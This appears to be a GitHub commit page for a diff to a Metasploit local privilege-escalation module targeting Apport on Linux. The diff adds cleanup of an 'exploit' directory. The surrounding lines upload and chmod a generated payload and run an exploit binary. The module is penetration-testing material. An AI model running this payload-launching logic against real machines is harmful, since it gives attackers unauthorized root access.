Skip to content

Commit 842736f

Browse files
committed
register_dir_for_cleanup
1 parent 8bbffd2 commit 842736f

File tree

1 file changed

+4
-0
lines changed

1 file changed

+4
-0
lines changed

modules/exploits/linux/local/apport_chroot_priv_esc.rb

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -134,6 +134,10 @@ def exploit
134134
payload_path = "#{datastore['WritableDir']}/#{payload_name}"
135135
upload_and_chmodx payload_path, generate_payload_exe
136136

137+
# the exploit writes an 'exploit' directory
138+
# which must be removed manually if exploitation fails
139+
register_dir_for_cleanup "#{datastore['WritableDir']}/exploit"
140+
137141
print_status 'Launching exploit...'
138142
cmd_exec "cd #{datastore['WritableDir']}"
139143
output = cmd_exec executable_path

0 commit comments

Comments
 (0)